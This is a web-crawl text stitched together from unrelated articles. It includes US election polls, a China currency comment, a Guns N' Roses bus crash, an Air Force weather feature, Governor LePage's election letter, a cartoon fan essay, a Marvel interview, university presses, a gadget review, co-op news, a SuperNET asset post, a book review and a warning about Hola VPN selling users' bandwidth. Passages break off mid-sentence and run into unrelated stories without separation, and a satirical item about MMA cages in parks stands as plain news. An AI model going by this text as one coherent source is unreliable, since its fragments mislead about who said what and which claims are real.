*Corrected from “billion”. Thanks to the commenter below for pointing that out.You must enter the characters with black color that stand out from the other characters
Message: * A friend wanted you to see this item from WRAL.com: http://wr.al/mjiY
— With five weeks until the election, North Carolina remains a fierce battleground for Democratic President Barack Obama and Republican challenger Mitt Romney, according to a WRAL News poll released Tuesday.
SurveyUSA polled 573 likely voters statewide between Saturday and Monday and found that 49 percent would vote for Obama and 47 percent for Romney if the election were held now. The remaining 4 percent were either undecided or voting for another candidate.
The poll has a margin of error of plus or minus 4.2 percentage points, meaning the president and the former Massachusetts governor are in a virtual dead heat for North Carolina's 15 electoral votes.
The race has been tight for months. A WRAL News poll in May showed Romney ahead of Obama 45 to 44 percent.
"We've known since 2008 that North Carolina was going to be very close," said David McLennan, a political science professor at William Peace University in Raleigh. "It's really going to be an election about turnout. Can the president get his base voters out? Can Romney get his voters out?"
Still, there have been notable shifts in support among various North Carolina demographic groups in the last five months.
Latino voters are now squarely in Obama's camp, with nearly three-fourths of those surveyed backing the president. In May, Romney held almost a 2-1 lead among North Carolina's growing population of Latino voters.
Obama also picked up support among younger voters, a key segment of his victory in 2008. In May, he led Romney by 48 to 36 percent among voters aged 18 to 34. Now, that gap has widened to 58 to 35 percent.
Meanwhile, Romney has solidified support among older voters. He now leads the president 55 to 42 percent among voters age 50 or older, compared with a 48 to 43 percent lead in May.
A gender gap still exists, but Obama has narrowed his deficit among male voters.
In May, Romney was preferred by male voters by a 51 to 38 percent margin, while Obama was favored by female voters by 50 to 40 percent. Now, Romney's edge among male voters is down to 51 to 44 percent, while Obama's lead among female voters is 53 to 44 percent.
In the latest poll, Romney holds a slight lead among the coveted middle-class voters, 50 to 45 percent among those with annual incomes of $40,000 to $80,000. Meanwhile, the candidates are tied among wealthier voters, while Obama has a 13-point lead among lower-income voters.
The candidates are splitting independent voters – the poll shows Romney with a 45 to 43 percent lead – and 15 percent of Democrats said they won't support the president's re-election. Only 6 percent of Republican voters said they would vote for Obama.
Romney, a Mormon, also captures more than two-thirds of the evangelical Christian vote statewide, according to the poll. McLennan said that's more of a vote against Obama than for Romney.
As in 2008, Democrats hold a sizable edge among early voters, but the GOP is making a concerted effort not to fall too far behind before Election Day. Conservative groups have pushed for absentee votes and plan get-out-the-vote efforts once early voting starts in a couple of weeks.
According to the poll, Obama has a 20-point lead among people who plan to cast early ballots. They accounted for 43 percent of those surveyed. Romney holds a 53 to 41 percent lead among those planning to vote on Election Day – 48 percent of those surveyed – and a 58 to 39 percent lead among the small number of people who will cast absentee ballots.China is running a current account deficit, indicates China buys more from the rest of the world than the world buys from it.
China, which built its success as a mercantilist export engine, would need to morph into being a global consumer like the US. That would require a huge shift in the structure of the whole economy away from investment and exports and towards consumption. As we know, that is much easier said than done; and such as shift is also hampered by China's relatively low GDP per capita, says Rabobank.
More specifically today, would anyone want to hold CNY government bonds knowing how the government intervenes in markets? Consider that local Chinese government bond issues have just been forcibly rolled over at new artificially low interest rates; even Chinese banks did not want to buy them without a PBOC pledge of support to immediately repo them for new cash loans, states Rabobank. Of course, central government bonds might be a different story (and they were yielding an attractive 3.55% at the 10-year maturity at the time of writing).
"However, another key fundamental question is: would China allow foreigners leverage over its state finances? That seems politically very unlikely, especially as it would also mean China would have to liberalize its capital account to allow money to enter and leave the country freely: as we have explored in past specials, that would run the risk of serious financial instability, with more capital likely opting to leave China than would come in at present", added Rabobank.One died and 29 were injured in the crash ahead of GnR's Mexico City date this week
A bus has crashed on the way to Guns N’ Roses show in Mexico City, killing one and injuring 29.
According to local publication Excelsior, the bus was en route to the show last night (April 20), when it crashed on a highway connecting the Mexican capital to Querétaro.
The bus is believed to have overturned on a wet motorway, killing 35-year-old Mauricio Ballesteros Zamora, who suffered head trauma and internal bleeding. Three of the other passengers are believed to be in critical condition.
The band have tweeted their sympathies to the family of Ballesteros Zamora, and wished the other 29 injured fans a speedy recovery:
The show was Guns N’ Roses second of two in Mexico City this week, with the shows bracketed by the band’s two headline slots over the two weekends of Coachella Festival in California. A full US tour has been scheduled for this summer.
It has also been confirmed that frontman Axl Rose is to perform with AC/DC as lead singer for the remainder of their tour, replacing Brian Johnson, who has been advised by doctors to stop touring if he wants to save his hearing.
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AC/DC currently have 12 European live dates booked in for May and June, including two UK shows: London’s Olympic Stadium on June 4 and Manchester’s Etihad Stadium on June 9, before the GnR American tour gets underway.
https://link.brightcove.com/services/player/?bctid=663798933001Advertisement Offutt Air Force Base's weather team provides extensive coverage Share Shares Copy Link Copy
Nestled in the northeast corner of Offutt Air Force Base, you’ll find the Air Force Weather Agency. Their mission is simple.Video: Air Force Weather Agency provides extensive coverage“Everything that we focus on is toward the warfighter operations, and protecting and supporting our airmen and soldiers,” said Capt. Hayley Homan, a meteorologist of the U.S. Air Force.Weather is paramount in operation planning. There are forecasts that have shaped the course of history, like on June 5-6, 1944, when officials were leading up to the D-Day invasion -- considered by many to be the most important forecast in history.Meteorology methodology and technology has evolved over the years.“We have tons of data that comes in here. We actually transmit up to 11 terrabytes every day,” said Homan.A large room dedicated to all of its servers, digest and disseminate observations and data, which go into AFWA’s weather models. Airmen can access those models wherever they are in the world for their forecasts.There are nearly 1,500 professionals on staff.“Our airmen that work at AFWA are some of the best-trained airmen in the world,” said Col. William Carle.Forecasts in the Air Force are mission-based and done at the local level, so they’re usually different than what KETV works on in the Weather Now Forecast Center. KETV’s forecasts highlight temperatures with chances and amounts of precipitation. The Air Force has to consider wind speeds and directions at different levels in the atmosphere, icing conditions, fog and cloud cover.Another integral and equally important element of AFWA runs in the Space Weather Operations Center.“We do this 24 hours a day, seven days a week, 365 days a year for everyone in the Department of Defense,” said Sgt. Charles Malone, of the Space Weather Operations Center.The center’s job is to monitor solar activity. Solar flares are sometimes associated with coronal mass ejections, which are giant bursts of solar wind. If the plasma from the sun hurls toward Earth, it can mean major issues.“That can impact our communications, our satellites and the power grid,” said Malone.The center relies on observatories spread across the world to maintain a constant view of Earth’s closest star. With plenty of eyes on Earth’s atmospheric conditions and those 93 million miles away, AFWA has weather covered.Gov. Paul LePage is summoning incoming legislators to Augusta – and questioning the validity of their election victories.
LePage sent a letter Wednesday that includes a standard message telling legislators that they should show up in Augusta on Dec. 7 to start conducting the people’s business.
But the Republican governor goes on to say that he questions the results of the Nov. 8 voting.
“I am issuing this summons and signing this election certificate despite the fact that I maintain strong concerns regarding the integrity of Maine’s ballot and the accuracy of Maine’s election results and I cannot attest to the accuracy of the tabulation certified by the secretary of state,” LePage wrote.
The letter does not include any evidence or explain the reason for his concerns.
LePage had cast doubt on the state’s voting process in October after Republican nominee Donald Trump warned that the presidential election he would later win was “rigged” against him.
LePage also raised concerns in November about voter fraud by college students, but was contradicted by the secretary of state.
On Thursday, Secretary of State Matthew Dunlap reaffirmed his faith in the integrity of the election results through spokeswoman Kristen Schulze Muszynski, who said Dunlap is unaware of any reason not to have “total confidence in the way the election was run or the final results.”
“It is certainly upsetting when people make these kind of statements because it discourages people from participating in the democratic process,” Muszynski said. “We have no evidence of any kind of problem. We have no idea what the governor is talking about. He hasn’t raised any concerns with this office.”
One returning legislator, Matthew Moonen, a Portland Democrat, posted a copy of the letter on his Facebook page, adding the comment, “This is so embarrassing. And nobody gives a (expletive) what you can attest to.”
A spokeswoman for LePage, Adrienne Bennett, did not reply to emails or calls Thursday seeking additional information about what prompted LePage’s concerns.
Dunlap is aware of only one election-related inquiry, Muszynski said. The Attorney General’s Office is investigating a student in Lewiston who said he voted in his home state and in Maine. Attorney General Janet Mills’ office did not respond to requests for comment Thursday evening.
Maine law requires the Secretary of State’s Office to certify the results of the election within 20 days. Dunlap submitted certified results to LePage on Nov. 28, Muszynski said. LePage has 10 days to review the submission and issue proclamations summoning lawmakers to their swearing-in ceremonies and announcing the official results of any ballot questions, she said.
LePage’s letter to lawmakers effectively serves as a proclamation on behalf of their elections, but not for the referendum results, she said. It’s unclear what will happen if LePage does not issue a proclamation on the ballot questions. Dunlap will worry about that situation if it becomes necessary, but it likely would be handled by the Attorney General’s Office, Muszynski said.
State Democrats said the letter is a sign that LePage cannot accept the will of the people.
“Regardless of whether or not we like the results, the Maine people have spoken, and their voices must be respected,” said Democratic Party Chairman Phil Bartlett in an email.
Calls and emails seeking comment from numerous legislators in both parties were not returned Thursday night.
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filed under:Why Adventure Time declined in popularity, and what aspiring cartoons like Star vs. the Forces of evil need to learn from it.
SeasI feel like Disney’s Star vs the Forces of evil is trying really REALLY hard to capitalize off of the original Adventure Time when it was in it’s hay day. And I worry that perhaps the show writers are underestimating how much people crave and love plot heavy cartoons. I feel like the staff behind SvtFOE believes that Adventure time declined because the show became too plot oriented and focused less on the comedy, but that was never the case, while Adventure time is still very popular, it’s initial popularity declined BECAUSE of the show’s inability to brave out subplots and show changing events. The most notable example of this was Finn’s arm
the show featured a handful of alternate universe/what-if future type epsidoes, and without fail, in EVERY instance of alternative Finn, one arm was missing/modified
After a couple of these instances, fans finally caught on to the pattern and were rapid with theories and head canons, however, many were skeptical that this would be something that the show ever directly referenced, and then, it happened
Season 5 episode 45
blade of grass
in which Finn acquires a cursed grass sword, that can be conjured at will and takes the form of a bracelet around Finn’s arm.
the catch? It can never be detached from Finn’s arm
the fandom was pUMPED, this was the beginning, the show WAS going to explore the destiny of Finn’s arm. Everyone was hyped,
then we got season 6 episode 2, escape from the citadel
This episode was a big deal in and out of fandom for several reasons,
1. It introduced Finn’s biological father, the only other human character at this point on the show.
2. Finn seemingly faced his destiny and lost his arm as foretold in episodes past
3. Finn, an incredibly popular main-stream children’s cartoon character became physically disabled, and was huge as far as representation goes
long stroy short: everyone was losing their minds over this, in and out of fandom, FINALLY the show proved it had to guts to explore status quo changing events, FINALLY, the show proved it could handle seeing a subplot to completion, FINALLY a mainstream beloved children’s cartoon with a disabled main character for kids to look up to!
and then…the unthinkable happened
Season 6 episode 6, Breezy
Not 4 episodes later, and the writing staff had already chickened out and quickly undid all the progress they had achieved, rendering all the foreshadowing and eventual finn-loses-his-arm subplot as pointless
and to top it all off, the episode highly implies that LSP rapes Finn
needless to say, everyone was pissed, both at the episode, and the show in general, for such a cowardly cop out, and it is still regarded as one of the worst episodes of the show, and the landmark that made a lot of people give up on the series
A direct parallel can be made between the Finn arm subplot on Adventure time, and the Toffee anti-imperialism subplot on Star vs the forces of evil
Look! He’s already missing an appendage!
Like Adventure time and it’s undertones of Nuclear holocaust, Star vs the forces of evil has a ‘to kill a mockingbird’-esq undertone of racial segregation, all from the perspective of the sheltered child of the leaders of the racist society. While only a side character, Toffee (alligator man above), has quickly become both a fan favorite and the most complex villeins on the show, striking a hannibal lecter-esq balance of politeness and brutality. Unlike the main villain Ludo, Toffee has no interest in taking over the world or gaining power himself, but to simply destroy the titular character’s magic wand
this has lead to 2 popular character interpretations, Toffee is a chaotic Joker like character who seeks mindless destruction and anarchy, and the other, Toffee is a political revolutionist, with the destruction of the royal family wand being a metaphor for the destruction of the imperialistic monarchy.
So, this all sounds well and good, interesting setup for conflicts, episode themes, and perhaps a prince zuko-esq redemption
However, out of the 24 episodes in the first season, only 2 really touch upon this subplot, and given how Disney treated it’s other series that tried to strike a balance between plot and comedy
I wouldn’t get hopes up for anything quite the levels of Steven Universe from this show. The only other plot-heavy cartoon Disney has featured thus far was Gravity Falls
and while that show ended on it’s own, it was also insanely popular, to the point Disney begged the show creator Alex Hirsch to continue it. With direct competition from the already established, insanely popular Steven universe, another American take on the magical girl genre, I fear that if SVTFOE doesn’t learn, and learn quickly from other cartoons past mistakes, that it won’t survive long0
There’s no such thing as too much Marvel news, right? With Iron Man 3 hitting theaters this weekend, a bevy of details regarding Marvel’s upcoming films have been making their way online. While it’s exciting to look ahead to Marvel’s Phase Two slate post-Iron Man 3, all roads lead to one of the most anticipated sequels in recent memory: The Avengers 2.
Steve recently spoke with Marvel Studios President Kevin Feige, and during their extended conversation Feige talked quite a bit about how Iron Man 3 gives audiences an idea of what to expect from The Avengers 2. He also talked about writer/director Joss Whedon’s script for the follow-up (which he describes as hilarious, awesome, and moving) and whether or not the film will have a subtitle. Hit the jump to read on.
As The Avengers grossed over $1.5 billion worldwide and received a positive reception from critics, one imagines that there’s quite a bit of pressure on Marvel to deliver the goods with the sequel. Steve asked Feige how they even go about trying to top the first film, and the Marvel executive said that Iron Man 3 provides a clear picture of their outlook on that front:
“Well Joss has said it on the record in the past, it’s not about going bigger. It’s not about, ‘And this time there will be five more explosions in this section!’ I mean certainly you want to up the ante, you want to exceed people’s expectations, but I think there are various ways of doing that and Iron Man 3 is a very, very good test for us of doing exactly that. The first movie we make after The Avengers has our hero spending more time out of the suit than any of the other movies; that seems potentially counterintuitive to some people, but that was exactly why we did it. We didn’t want to say, ‘Oh now it has to be bigger and he fights 100 people in armored suits.’ Yeah the action sequences are big, there’s more action in Iron Man 3 than in the other two movies, but at the same time it’s a much deeper and a more exploratory character journey on the heels of our biggest spectacle with The Avengers.”
Speaking specifically to The Avengers 2, Feige said their focus—as always—is on character and even added that the character-centric scenes in Whedon’s script top the first movie:
“We’ve been consistent in talking about this leading up to The Avengers: what is most interesting to us and why we hired Joss Whedon in the first place is the interaction between the characters. That’s more fun to us than the massive action scenes that are gonna have to come with it that we’re gonna have to figure out, and we’re gonna have to be clever and raise the bar, but already the scenes that Joss has of just the characters sitting around and interacting are hilarious and are awesome and are moving and a notch or two above the first movie, and to me that’s where you wanna top yourself.”
Those are strong words from Feige, but if anybody can top Whedon’s work on The Avengers, it’s Whedon himself.
Steve also took the opportunity to ask Feige if The Avengers sequel will be called The Avengers 2 or if it will have a subtitle, and the Marvel executive seems keen on the latter:
“I would say that if you look at the trend of our upcoming movies, Iron Man 3 is the only one that has a number. I like Star Wars: The Empire Strikes Back, Star Wars: Return of the Jedi instead of Star Wars 2, Star Wars 3.”
Look for much more from our interview with Feige here on Collider soon. If you missed what he had to say about a Doctor Strange movie, click here.Think of universities as a series of ivory tower silos? Think again. Not only can urban-set institutions of higher learning be vital anchor institutions in their neighborhoods, university presses throughout the U.S. play a pivotal role in publishing game-changing work about cities. Those books, both practical and philosophical, result in real benefits to our built environments.
There are more than 130 members of the Association of American University Presses, each grounded in a particular regional landscape and with a mission to serve the public good. Thanks to Cold War-era funding for higher education, they flourished in the 1960s and 1970s; more than 10 presses were founded between 1970 and 1974. The timing coincided with a national reckoning with cities, especially in terms of inclusion, equality, preservation, violence and schools.
No wonder, then, that university presses have shouldered the urbanism genre. It’s not just because universities employ many of the tenure-seeking academics penning these books; it’s because risk-averse mainstream publishers aren’t convinced that this work is worthwhile.
UPs are able to be more agile. Hardly isolated from market forces, they are nonetheless able to make editorial decisions that are based on more than sales numbers. Nonfiction of depth, like Thomas J. Sugrue’s The Origins of the Urban Crisis (Princeton), can be released with the intention of reaching a smaller but influential audience, thanks to cross-disciplinary interest, improving distribution models, libraries, reviewers, classroom syllabi and increasingly stylish book design. Most of them act on a slow burn, becoming the foundation for the journalism or intellectual investigation of others. The fat footnotes in Robert Caro’s biography of Lyndon Johnson, for example, is riddled with nods to earlier work published by university presses. And then there is the occasional breakout book, like Thomas Piketty’s Capital in the Twenty-First Century (Harvard), that makes heads swivel.
This is so despite the popular impression that UPs publish weighty tomes that are as useless as they are self-important. Books that fit that profile should not obscure the quality ones that never would have come to the fore if trade publishers were the only ones in the business. Many UPs have a storied history of amplifying voices that were long ignored. The University of Arizona Press, for example, debuted more than 50 years ago by publishing A Pima Remembers by George Webb. It’s an autobiographical account of Webb’s coming of age in the Pima Indian community at the turn of the century. More than simply indulging his nostalgia, Webb emphasizes how Pima farms were destroyed by white communities that controlled the water — a history that has alarming relevance in today’s drought-starved West Coast and in cities like Detroit and Toledo that have struggled to provide drinking water to poor citizens. The University of Arizona Press has continued its legacy of publishing indigenous authors on a number of key subjects, like land use. It has also published intriguing works on the urbanization of the West, the character of Mexican border cities, and the struggle for urban sustainability in the cities of the Great Basin.
Meanwhile, the University of Minnesota Press is a leader in fusing global urbanism with social history and culture. It was one of the first presses to publish virtually all titles in paperback in order to increase access to scholarship. Good thing, too, because this publisher is putting out intriguing work with real relevance to our cities. That includes examinations of how women impacted public space in turn-of-the-century San Francisco, how universities interact with their urban contexts, and how the 20th century’s most influential theories of urban development stand against 21st-century cities.
And there is also the University of California Press bringing to light thoughtful books by Rebecca Solnit on San Francisco and New Orleans Samir Kassir on Beirut David L. Ulin on Los Angeles Jordan Sand on Tokyo and Laura Lawson on a century of community gardening in America. And also the University of Chicago Press, the largest of its kind in the United States, which can boast of Eric Klinenberg’s book on the disastrous 1995 Chicago heat wave that killed hundreds, and Andrew Highsmith’s new book on the limits of “demolition as progress” in Flint, Michigan.
The litany is endless, underscoring the audacity of university presses in believing that every city deserves the best ideas possible. We need that. As we make choices about our modern cities, as policymakers, advocates or citizens, we need these books to ground our vision, to help us imagine what is possible.
And that’s why the tenuous future of university presses is so alarming. The mid-century boom in UPs is long over. Some presses enjoy large surpluses, like those at Oxford and Cambridge universities, which are buoyed by sidelines in English-language training and exams. A handful of others, like the Harvard and Yale presses, have substantial endowments. But most are operating on a shoestring, struggling to manage both the radical transformation of the book industry along with disinvestment in higher education. We’ve seen, in recent years, the attempted phasing out of the University of Missouri Press, while UPs at Susquehanna, Rice and Southern Methodist universities, along with the University of Scranton, all suspended their operations. Other presses are pooling resources with their former competitors in order to “do more with less.” The National Endowment for the Humanities subsidized more than 1,050 UP books between 1977 and 1995 as part of its rigorous Publication Subvention Program, but that program ended in 1996, after the NEH’s budget was cut by 37 percent.
This is not inevitable. Those of us who have a |
device in landscape mode on the stand by resting it on two clips on the sides. The stand works well enough and comes in handy to prop up a device in either landscape or portrait orientation while on the move. But the female Lightning port for charging and the 3.5mm headphone jack are obstructed so it’s not really possible to use this as a charging dock or with headphones while in stand mode. It also made getting the iPhone in and out of the case extremely easy, as the device slides in easier than the average case when opened in stand mode.
Should you buy it?
This is one of the slimmest and overall well-built battery cases I’ve tested and that’s before considering it’s one of the first to pack in a 3.5mm headphone jack AND a female Lightning port.
The product is launching on Indiegogo today ahead of shipping in March/April. The version without wireless charging starts at $54, while the Pro model with Qi charging tech goes for $79. Get the model without a 3.5mm jack for $39.Cincinnati Union Co-op News Who is CUCI? A non-profit that partners with individuals and organizations to develop worker-owned businesses that create family-sustaining jobs and an economy that works for all. CUCI emerged from the
What's new? A non-profit that partners with individuals and organizations to develop worker-owned businesses that create family-sustaining jobs and an economy that works for all. CUCI emerged from the historic partnership between Mondragon, the world’s most successful network of worker-owned cooperatives, and the United Steelworkers. Worker Owned Grocery Co-ops- Feasibility studies are complete and favorable for the neighborhoods of Northside and College Hill! Due to the existence and availability of the former Save-A-Lot building, preparations are intensely underway to bring Apple Street Market to life in Northside. Apple Street will be a multi -stakeholder cooperative. This business model brings together two groups: Community Members & Worker Owners. Our community ownership campaign will begin Monday, June 2. For more details, contact To create a network of affordable, quality, walkable, neighborhood grocery stores in low food access areas. Several neighborhoods including Avondale, East Walnut Hills, and Madisonville have expressed interest.
Yucky Cookies have begun production! Yum! And there are two ways to get this tasty cookie. If you are local, you can order them as an add-on through
Sustainergy, our Energy Retrofitting Co-op, is operating. If you are a commercial, multi-family, or non-profit building owner interested in saving significant money (typically 30%) on your energy bills contact Feasibility studies are complete and favorable for the neighborhoods of Northside and College Hill! Due to the existence and availability of the former Save-A-Lot building, preparations are intensely underway to bringto life in Northside. Apple Street will be a multi -stakeholder cooperative. This business model brings together two groups: Community Members & Worker Owners. OurFor more details, contact Casey Whitten-Amadon. Our goal is to open the store in early 2015! Longterm Goal:Several neighborhoods including Avondale, East Walnut Hills, and Madisonville have expressed interest.have begun production! Yum! And there are two ways to get this tasty cookie. If you are local, you can order them as an add-on through Our Harvest Co-op's Weekly Harvest Box. Whether you are local or from farther away, Yucky Cookies are also available by ordering through their Facebook shop. our Energy Retrofitting Co-op, is operating. If you are a commercial, multi-family, or non-profit building owner interested in saving significant money (typically 30%) on your energy bills contact Flequer Vera of Sustainergy to see if a new city program PACE may work for you.The city of Red Deer, Alberta is installing regulation-sized mixed martial arts octagonal cages in its parks to encourage children to exercise. As kids lose interest in conventional sports like hockey and baseball, the initiative hopes to appeal through the popularity of MMA.
"If mixed martial arts is what's getting kids up off the couch, then that's what we need to do. And we found a way for kids to participate in MMA in our public parks," said Red Deer City councilor Daphne Coyle.
But some raise concerns about the danger of allowing kids to participate in MMA combat in public spaces. Detractors claim that octagons in city parks sends the message that the city supports violence.
"No. Absolutely not. I think that's maybe how people used to view mixed martial arts. But this is one of the most watched and celebrated sports of our generation. This is what baseball used to be and what football never quite became," councilor Coyle told This Is That.
She is especially excited about city's program to offer professional instruction to kids through MMA boot camps: "When I see a seven-year-old kid learning how to effectively choke someone out—and they just kind of soften—it's amazing to watch."
To find out more about how Red Deer's new health initiative is helping kids get outdoors and stay healthy, listen to the full interview.there was some confusion about the assets SuperNET holds:
SuperNET is the main holding entity, but it holds some assets that in turn own other assets. It is like a directory structure. So the leaf nodes would generate dividends to its holders, this would include the individuals and other assets. Then the assets that got these dividends from the other assets (Privatebet being a prime example of this) would add its own operating profits to the dividends it got and dividend this to its individual holders and other assets....
I believe the longest path is:
neoDICE -> Privatebet (NXT-ZGGJ-5G8H-K24Y-3BD8S) -> NXTprivacy (NXT-KKNV-8EPK-W2S4-96VTK)
The idea is that the specific gaming (or other type) asset, in this case neoDICE, will be the item that directly reflects the performance of the neoDICE. And all the gaming assets are routing dividends or revenue share via Privatebet (it owns 35% of neoDICE and has 20% revshare deals with Pangea and Omnigames). Privatebet will also directly have its own decentralized sportsbook next year. So, Privatebet will have meaningful fractions of half a dozen+ other gaming assets, with a percentage of 20% to 25%, this should add up to more than the average of any specific asset, though the diversification protects from any large change (up or down) and it is meant to reflect the aggregate decentralized gaming sector.
The following is NXTprivacy's holdings, anchored by 60% of Privatebet:
cryptocard 400'000 1'000'000 40.00% 9.999 7 2'800'000 Transfer
Privatebet 600'000 1'000'000 60.00% 52.99 40 24'000'000 Transfer
SuperNET 537 816'061 0.07% 183 182.4 97'948.8 Transfer
NXTprivacy will also have direct fees from Teleport, so it has a book value in excess of (40% of 7 + 60% of 40) = 26.8 NXT per asset. Since it is trading at 28/34, if you are able to buy at 28, that is like paying 4 NXT for Teleport revenue stream.
The NXTprivacy dividends would flow into SuperNET and from there to its holders, coin communities, etc.
I know it is a bit complicated, but due to compartmentalization requirements and also some legal insulation, it was deemed to be the safest path. For example, some people are concerned about some legal issues with owning "gambling" based assets as some primitive countries make that illegal. However, if you own something that owns something that owns something that owns something that does a decentralized dice game and each entity is having a specific purpose other than adding "distance", I think it is helping on the legal side.
Over time, I expect Privatebet to gather more and more gaming assets, and of course SuperNET itself to continue to add to its collection of assets:
for future dividends:
Jay 75'000 1'000'000 7.50%
omnigames 75'000 1'000'000 7.50%
SNN 75'000 1'000'000 7.50%
internal:
Pangea 597.7454 1'000'000 0.06%
SuperHODL 10'000'000 10'000'000 100.00%
SuperNET 6'503.956 816'061 0.80%
holdings:
InstantDEX 241'485 1'000'000 24.15%
NXTcoinsco 241'485 1'000'000 24.15%
NXTprivacy 241'485 1'000'000 24.15%
SuperHODL:
Jay 400'000 1'000'000 40.00%
MyNXT 17'200 100'000 17.20%
omnigames 400'000 1'000'000 40.00%
Pangea 414'454.1309 1'000'000 41.45%
SNN 700'000 1'000'000 70.00%
Portion of SNN is allocated to the writers and MyNXT only has 100,000 total assets, so it is looking much smaller than the others but if you look at the percentage owned it is at a healthy 17%. SuperNET/UNITY is thus a very diversified single asset that is the sum of all its parts. Keep in mind that these are mostly independent projects and different ones will come online at different times, so there wont be a switch that just starts a flood of dividends. It will start with a small trickle and as the dozens of dividend sources all combine and grow, the SuperNET dividend will eventually become quite substantial.
However, I could not estimate accurately when all this would come online, nor what the levels would be, so I priced the ICO at book value. That means that purchasers of SuperNET got all the future revenue potential for free and the price performance during the bear market has proven that asset (and crypto) backed SuperNET is the superior model. Certainly there is development and timing risk, but nice to have a solid floor.
JamesPresident Barack Obama's strongest supporters in the United States are at the lowest level of his presidency yet and support from liberals is also sharply down from earlier this month, according to a daily presidential tracking poll.
The percentage of people that 'Strongly Approve' of President Barack Obama was 19 percent, according to Rasmussen reports. That figure is down from an April high of 27 percent on April 2.
Today's numbers reflect the lowest level of Strong Approval yet recorded for this president. There has been a sharp decline in enthusiasm among liberal voters, Rasmussen said.
The number of liberals who Strongly Approve of the president's performance was 37 percent on April 11, down from 63 percent a year ago, 57 percent at the beginning of 2011, and 52 percent a week ago, according to the report.
Events which may have affected voters views include the just concluded negotiations involving Obama and Congress in which a deal to cut $38.5 billion from the federal budget for the rest of the year was reached. Other events include the conflict in Libya, where the U.S. joined France and Britain to attack Libyan air defenses in a bid to protect civilians.
Over the course of his presidency, Obama's Strongly Approve' was highest soon after he came into office on January 20, 2009.
The highest percentage of people that Strongly Approve of the president reached a high of 45 percent on January 23, 2009. His strongly approve support steadily dipped to 28 percent later that year on July 12, 2009.
Also on April 11, the percentage of people that Strongly Disapprove of Obama was 39 percent. The Total Approve percentage was 44 percent and the Total Disapprove percentage was 55 percent.
His highest Total Approve ranking was 65 percent on January 21, 2009. The lowest Total Disapprove ranking was 29 percent on January 23, 2009.The Social Animal: The Hidden Sources of Love, Character and Achievement. By David Brooks. Random House; 448 pages; $27. Buy from Amazon.com
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FORTY years ago Walter Mischel, an American psychologist, conducted a famous experiment. He left a series of four-year-olds alone in a room with a marshmallow on the table. He told them that they could eat the marshmallow at once, or wait until he came back and get two marshmallows. Recreations of the experiment on YouTube show what happens next. Some eat the marshmallow immediately. Others try all kinds of strategies to leave the tempting treat alone.
Nothing surprising there. The astonishing part was the way that the four-year-olds' ability to defer gratification was reflected over time in their lives. Those who waited longest scored higher in academic tests at school, were much less likely to drop out of university and earned substantially higher incomes than those who gobbled up the sweet straight away. Those who could not wait at all were far more likely, in later life, to have problems with drugs or alcohol.
In his fascinating study of the unconscious mind and its impact on our lives, David Brooks uses this story to illustrate how the conscious mind learns to subdue the unconscious. This is not a question of iron will, but about developing habits and strategies that trigger helpful processes in the unconscious, rather than unproductive ones. What matters is to learn to perceive property, people or situations in ways that reduce the temptation to lie, to steal or behave in a self-destructive way.
In building his argument, Mr Brooks, a columnist on the New York Times, uses as his framework the lives of two imaginary characters, Harold and Erica, whom he follows from cradle to grave. This deliberate homage to Jean-Jacques Rousseau's 1762 work, “Emile: or On Education”, is not a success. Rousseau's book was banned and burned by angry readers. Harold and Erica are not that interesting, and they do get in the way of Mr Brooks's otherwise intriguing argument.
The author's aim is to show how recent research has illuminated the complex processes of the brain. “We have inherited an obsolete, shallow model of human nature,” he argues. Study after study, many of them little known, show that people take decisions about their jobs, relationships, actions and morals in ways that involve a complex interaction between the conscious and the unconscious mind. The most important decisions begin in the realm of the unconscious, although they are often influenced by the conscious.
The shaping of this delicate balance begins early in life: the children who were best at leaving their marshmallow on the plate tended to come from stable, organised homes. Culture and the community in which a child is raised help to build the way the conscious and unconscious intertwine. Mr Brooks recounts a survey of diplomats who failed to pay parking fines in New York. By far the worst non-payers came from countries where corruption is endemic: Egypt, Pakistan, Nigeria and so on. By contrast, diplomats from Sweden, Denmark, Japan, Israel, Norway and Canada had no unpaid fines at all. “Thousands of miles away from home,” Mr Brooks writes, “diplomats still carried their domestic cultural norms inside their heads.”
What does all this mean for public policy? Mr Brooks complains that policies too frequently rely on an overly simplistic, rationalist view of human nature. That may be true, but all too many daft policies rely on the collective reluctance of the voters to leave marshmallows uneaten on the table. More to the point, how can a country curb crime, create true equality and reduce the social and economic costs of bad decisions? Education systems exist mainly to build the rational mind, and yet the decisions that are most important in making people happy are the ones in which reason plays little or no part: the development of friendships and the choice of a spouse. Public policy has largely ignored this.
So Mr Brooks has done well to draw such vivid attention to the wide implications of the accumulated research on the mind and the triggers of human behaviour. But more books, preferably without Harold and Erica, remain to be written about the way societies should respond to what we now know.Hola is a popular virtual private network (VPN) provider that is available for various web browsers including Google Chrome, Mozilla Firefox and Internet Explorer, as well as desktop and mobile operating systems.
It is free to use and if you check ratings and users on Chrome's Web Store alone, you will notice that it is used by more than 7.1 million Chrome users currently.
Hola uses a sophisticated system to offer its services for free. Instead of routing users solely (or at all) through company servers and raking up huge bandwidth bills in the process, it is utilizing user devices as endpoints.
This means basically that any user device that Hola is running on acts as an endpoint. An endpoint is a node that is communicating directly with a target website or service that Hola users access when the service is enabled.
Hola users have no control over endpoints which is problematic for several reasons. First, it increases the bandwidth usage on the device and reveals your device's IP address to the target service or website which you may not always want.
What's even more problematic than that is the fact that Hola seems to have started selling access to these exit nodes on the Luminati website.
If you check Whois records for both sites, you will notice that they are both owned by Hola.
Luminati provides its customers with access to an API that they can use to utilize Hola end points for various activities, for instance denial of service attacks but also load tests. This makes Hola an effective botnet, especially since it cannot be blocked easily as it uses IP addresses from around the world and not a set of larger IP ranges.
The admin of 8chan noticed denial of service attacks recently against the site and found out that the attack was utilizing Hola endpoints through Luminati.
Hola charges per Gigabyte of traffic starting at $20 per Gigabyte and going down to $2 per Gigabyte and lower depending on volume that you purchase.
This means: if you are using Hola, your connection may be used as an endpoint not only by other Hola users who try to access sites in the country you are in, but may also be sold to individuals and companies who may use it for questionable or outright illegal activities.
Update: Hola has posted a response to recent events. You can read it on the official company blog.
Closing Words
If your computer is being used as an exit node, it is your IP address that webmasters, law enforcement or rights holders see when they check server logs. If it is used in attacks or malicious activity, it is you who will be contacted by the authorities or site owners.
My personal recommendation is to uninstall Hola if it is installed on a system and stay away from the service for now.
Summary Article Name Beware: Hola VPN turns your PC into an exit node and sells your traffic Description Hola VPN turns any device it is run on in an exit node which anyone may purchase access to. Author Martin Brinkmann
AdvertisementTake a fallen action movie star, plant him in a foreign language arthouse movie and tell his story.
You might end up with indigestible pretention… or gold.
by Karel Segers
